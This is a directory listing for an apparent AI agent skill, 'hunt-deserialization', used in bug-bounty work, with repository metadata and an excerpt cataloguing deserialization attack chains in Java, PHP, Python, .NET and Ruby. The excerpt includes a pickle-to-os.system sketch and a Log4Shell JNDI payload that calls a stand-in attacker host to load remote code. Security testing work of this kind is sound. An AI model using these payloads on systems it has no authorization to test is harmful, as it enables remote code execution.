Individual skill
hunt-deserialization
Hunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickle, .NET, or Ruby on Rails.
skills/hunt-deserialization/SKILL.md
Source commit 961a0dd3d2d2f66a07a416ade3b1d4473b64802e
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- Matches the observed repository HEAD
- Yes
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- Observed behavior
- Network or broad shell
- Last checked
- Nov 4, 2026
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Repository context
- Repository stars (not skill ratings)
- 1,008
- Repository last updated
- Nov 5, 2026
- License
- Apache-2.0
Observed agent integration: No specific integration evidence. Standard SKILL.md installation does not imply verified compatibility.
- ai-agent Repository topic
- appsec Repository topic
- bug-bounty Repository topic
- cybersecurity Repository topic
- devsecops Repository topic
- exploit-validation Repository topic
- hermes-agent Repository topic
- infosec Repository topic
- llm-security Repository topic
- nuclei Repository topic
- engineering Derived category
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Read excerpt
# HUNT-DESERIALIZATION — Insecure Deserialization
## Crown Jewel Targets
Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.
**Highest-value chains:**
- **Java ysoserial gadget chains** — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
- **PHP Object Injection** — `__wakeup` / `__destruct` magic methods → file write / RCE
- **Python pickle** — `pickle.loads(attacker_data)` → `__reduce__` → `os.system('id')`
- **.NET BinaryFormatter** — TypeConfuseDelegate gadget chain → RCE
- **Ruby Marshal.load** — Gem::Requirement, Gem::Installer gadgets → RCE
- **JNDI injection** — Log4Shell pattern: `${jndi:ldap://attacker/a}` → class load → RCE
